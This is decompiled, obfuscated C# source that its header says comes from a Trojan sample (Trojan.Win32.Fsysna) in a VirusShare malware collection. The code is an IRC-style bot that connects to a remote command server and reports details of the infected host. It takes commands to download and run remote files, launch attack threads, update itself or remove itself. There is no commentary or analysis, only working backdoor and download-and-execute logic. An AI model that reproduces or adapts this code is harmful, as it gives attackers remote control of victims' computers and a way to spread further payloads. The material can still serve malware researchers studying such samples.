// Decompiled with JetBrains decompiler // Type: . // Assembly: MyApplication, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 4C1CA376-1B35-4961-80E8-8029AD6B5A8B // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Fsysna.deeq-bccdbf807edf4ae3f172c9e102415d19675fee38175dc7fe4f296402da8186a9.exe using \u0003; using \u0005; using \u0019; using System; using System.Collections.Generic; using System.Diagnostics; using System.IO; using System.Linq; using System.Net; using System.Net.Sockets; using System.Runtime.InteropServices; using System.Threading; namespace \u0019 { internal class \u001B { [NonSerialized] internal static \u0002 \u0001; public static Dictionary \u0001; public static Random \u0002; public static int \u0003; public static TcpClient \u0004; public static string[] \u0005; public static string \u0006; public static string \u0007; public static StreamWriter \u0008; public static void \u0086([In] string obj0) { try { \u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, obj0); \u009E.\u007E\u0016\u0004((object) \u001B.\u0008); } catch { } } public static string \u009A() => \u001A.\u0001 ? \u001B.\u0001(1095) : \u0018\u0002.\u008B\u0002(\u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 9) + \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 9) + \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 9)); public static void \u0087() { if (\u001F.\u0001 > 0.0) \u001F.\u0001 = 0.0; \u0018 obj = new \u0018(); try { \u001B.\u0004 = new TcpClient(obj.\u0001, obj.\u0002); } catch { \u0083\u0002.\u0014\u0003(5000); \u001B.\u0087(); return; } NetworkStream networkStream = \u0084\u0002.\u007E\u0091((object) \u001B.\u0004); StreamReader streamReader = new StreamReader((Stream) networkStream); \u001B.\u0008 = new StreamWriter((Stream) networkStream); \u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, obj.\u0004); \u009E.\u007E\u0016\u0004((object) \u001B.\u0008); object[] objArray1 = new object[9] { (object) \u001B.\u0001(1100), (object) \u001C.\u008A(), (object) \u001B.\u0001(1105), (object) \u001C.\u008B(), (object) \u001B.\u0001(1105), (object) (\u009F.\u008E\u0002() / 1000), (object) \u001B.\u0001(1105), (object) \u001B.\u009A(), (object) \u001B.\u0001(1110) }; string str1 = \u0086\u0002.\u001C\u0002(objArray1); \u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, \u0005\u0003.\u001D\u0002(\u001B.\u0001(1115), str1)); \u009E.\u007E\u0016\u0004((object) \u001B.\u0008); while (\u0084.\u007E\u0090((object) \u001B.\u0004)) { try { \u001B.\u0006 = \u0098\u0002.\u007E\u0013\u0004((object) streamReader); } catch { \u009E.\u007E\u0092((object) \u001B.\u0004); \u009E.\u007E\u0015\u0004((object) \u001B.\u0008); \u009E.\u007E\u0012\u0004((object) streamReader); \u0083\u0002.\u0014\u0003(5000); \u001B.\u0087(); break; } if (\u001B.\u0006 == null) { \u001B.\u0003 = 0; \u001B.\u0087(); break; } if (\u001B.\u0006 != null) { \u001B.\u0005 = \u0090.\u007E\u0016\u0002((object) \u001B.\u0006, new char[1] { ' ' }); if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[0], \u001B.\u0001(1124))) { \u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, \u0005\u0003.\u001D\u0002(\u001B.\u0001(1133), \u001B.\u0005[1])); \u009E.\u007E\u0016\u0004((object) \u001B.\u0008); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1142))) { \u001B.\u0003 = 1; \u0008\u0002.\u007E\u0017\u0004((object) \u001B.\u0008, \u009D\u0002.\u001F\u0002(\u001B.\u0001(1147), obj.\u0005, \u001B.\u0001(1156), obj.\u0006)); \u009E.\u007E\u0016\u0004((object) \u001B.\u0008); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1161))) { if (\u001A.\u0001) { object[] objArray2 = new object[6] { (object) \u001B.\u0001(827), (object) \u001B.\u0005[3], (object) \u001B.\u0001(1166), (object) '\u0002', (object) \u001B.\u0001(1179), (object) '\u0002' }; \u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray2)); \u001A.\u0001 = false; } } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1208))) { string key = \u009E\u0002.\u007E\u0017\u0002((object) \u001B.\u0005[0], \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0005[0], \u001B.\u0001(1217)) + 1); if (\u001B.\u0001.ContainsKey(key)) \u001B.\u0001.Remove(key); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1222))) { string str2 = \u0001\u0003.\u007E\u0018\u0002((object) \u001B.\u0006, 1, \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0006, \u001B.\u0001(1217)) - 1); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0005[1], \u001B.\u0001(1231))) { string str3 = \u0001\u0003.\u007E\u0018\u0002((object) \u001B.\u0006, 1, \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0006, \u001B.\u0001(1217)) - 1); string str4 = \u009E\u0002.\u007E\u0017\u0002((object) \u001B.\u0005[0], \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0005[0], \u001B.\u0001(1244)) + 1); string key = \u009E\u0002.\u007E\u0017\u0002((object) \u001B.\u0005[0], \u0012\u0002.\u007E\u001A\u0002((object) \u001B.\u0005[0], \u001B.\u0001(1217)) + 1); \u001B.\u0007 = \u001B.\u0005[3]; \u001B.\u0007 = \u0098\u0002.\u007E\u001B\u0002((object) \u001B.\u0007); if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1254))) && ((IEnumerable) \u001B.\u0005).Count() >= 5 && \u0082\u0002.\u0012\u0002(\u001B.\u0005[4], obj.\u0008) && !\u001B.\u0001.ContainsKey(key)) { \u001B.\u0001.Add(key, key); string[] strArray = new string[7] { \u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1263), str3, \u001B.\u0001(1276), key, \u001B.\u0001(1281) }; \u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray)); } if (\u001B.\u0001.ContainsKey(key)) { if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1306)))) \u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1263), obj.\u0003)); else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1319)))) { \u001B.\u0001.Remove(key); string[] strArray = new string[5] { \u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1263), str3, \u001B.\u0001(1328) }; \u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray)); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1353)))) \u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1362), \u001C.\u008E())); else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1399)))) { \u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(1408), obj.\u0005, \u001B.\u0001(1421))); \u001D.\u0093(); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1446)))) { if (((IEnumerable) \u001B.\u0005).Count() >= 5) { \u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1455), \u001B.\u0005[4])); \u001B.\u0086(\u0005\u0003.\u001D\u0002(\u001B.\u0001(1147), \u001B.\u0005[4])); } } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1480)))) { if (((IEnumerable) \u001B.\u0005).Count() >= 5) { \u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1489), \u001B.\u0005[4])); \u001B.\u0086(\u0005\u0003.\u001D\u0002(\u001B.\u0001(1514), \u001B.\u0005[4])); } } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1523)))) { \u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1532))); \u001B.\u0086(\u0005\u0003.\u001D\u0002(\u001B.\u0001(1514), \u001B.\u0005[2])); \u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(1147), \u001B.\u0005[2], \u001B.\u0001(1156), obj.\u0006)); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1561)))) { if (((IEnumerable) \u001B.\u0005).Count() >= 5) { \u001B.\u0002 = new Random(); string[] strArray = new string[6] { \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(), \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(), \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(), \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(), \u007F\u0002.\u007E\u009A\u0002((object) \u001B.\u0002, 0, 10).ToString(), \u001B.\u0001(1570) }; string str5 = \u009C\u0002.\u007F\u0002(strArray); try { string str6 = \u0005\u0003.\u001D\u0002(\u0006\u0003.\u000E(), \u001B.\u0001(1579)); WebClient webClient = new WebClient(); \u0090\u0002.\u007E\u008B((object) webClient, \u001B.\u0005[4], \u0005\u0003.\u001D\u0002(str6, str5)); \u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1584), str5)); Process process = new Process(); \u0008\u0002.\u007E\u0099((object) \u0096\u0002.\u007E\u0096((object) process), \u0005\u0003.\u001D\u0002(str6, str5)); int num = \u0084.\u007E\u0097((object) process) ? 1 : 0; \u0083\u0002.\u008F\u0002(0); } catch (Exception ex) { object[] objArray3 = new object[4] { (object) \u001B.\u0001(827), (object) obj.\u0005, (object) \u001B.\u0001(1617), (object) ex }; \u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray3)); } } } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1650)))) { if (\u001F.\u0001 <= 0.0) \u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1663))); else \u001F.\u0001 = 0.0; } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1716)))) { if (\u001F.\u0001 > 0.0) \u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1721))); else if (((IEnumerable) \u001B.\u0005).Count() >= 7) { try { // ISSUE: object of a compiler-generated type is created // ISSUE: reference to a compiler-generated method ThreadStart start = new ThreadStart(new \u001B.\u009B() { \u0001 = \u009B.\u0089\u0002(\u001B.\u0005[5]), \u0002 = (double) \u008D\u0002.\u008A\u0002(\u001B.\u0005[6]) }.\u0098); \u009E.\u0013\u0003((object) new Thread(start)); } catch { string[] strArray = new string[5] { \u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1774), obj.\u0007, \u001B.\u0001(1799) }; \u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray)); } } } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1884)))) { string str7 = \u001B.\u0001(1889); try { str7 = \u0098\u0002.\u007E\u000F\u0002((object) \u008A\u0002.\u007E\u0089((object) \u0016\u0002.\u0086(\u0006\u0003.\u0084()))[0]); } catch { } \u001B.\u0086(\u009D\u0002.\u001F\u0002(\u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1156), str7)); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1946)))) { string[] strArray = new string[5] { \u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1955), \u0006\u0003.\u000E(), \u001B.\u0001(1579) }; \u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray)); } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(1980)))) { if (((IEnumerable) \u001B.\u0005).Count() >= 7) { string str8 = \u001B.\u0005[5]; string str9 = \u0005\u0003.\u001D\u0002(\u0006\u0003.\u000E(), \u001B.\u0001(1579)); try { WebClient webClient = new WebClient(); \u0090\u0002.\u007E\u008B((object) webClient, \u001B.\u0005[4], \u0005\u0003.\u001D\u0002(str9, str8)); string[] strArray1 = new string[6] { \u001B.\u0001(827), obj.\u0005, \u001B.\u0001(1993), \u001B.\u0005[4], \u001B.\u0001(2022), str8 }; \u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray1)); if (\u0082\u0002.\u0013\u0002(\u001B.\u0005[6], \u001B.\u0001(660))) { try { Process process = new Process(); \u0008\u0002.\u007E\u0099((object) \u0096\u0002.\u007E\u0096((object) process), \u0005\u0003.\u001D\u0002(str9, str8)); int num = \u0084.\u007E\u0097((object) process) ? 1 : 0; string[] strArray2 = new string[5] { \u001B.\u0001(827), obj.\u0005, \u001B.\u0001(2031), str9, str8 }; \u001B.\u0086(\u009C\u0002.\u007F\u0002(strArray2)); } catch (Exception ex) { object[] objArray4 = new object[4] { (object) \u001B.\u0001(827), (object) obj.\u0005, (object) \u001B.\u0001(2068), (object) ex }; \u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray4)); } } } catch (Exception ex) { object[] objArray5 = new object[4] { (object) \u001B.\u0001(827), (object) obj.\u0005, (object) \u001B.\u0001(2117), (object) ex }; \u001B.\u0086(\u0086\u0002.\u001C\u0002(objArray5)); } } } else if (\u0082\u0002.\u0012\u0002(\u001B.\u0007, \u0096.\u001E\u0002(\u001B.\u0001(1249), obj.\u0007, \u001B.\u0001(2158)))) { \u001B.\u0086(\u0096.\u001E\u0002(\u001B.\u0001(1408), obj.\u0005, \u001B.\u0001(2167))); \u001D.\u0094(); } } } } } } static \u001B() { \u0004.\u007F(); \u001B.\u0001 = new Dictionary(); \u001B.\u0002 = new Random(); \u001B.\u0003 = 0; } } }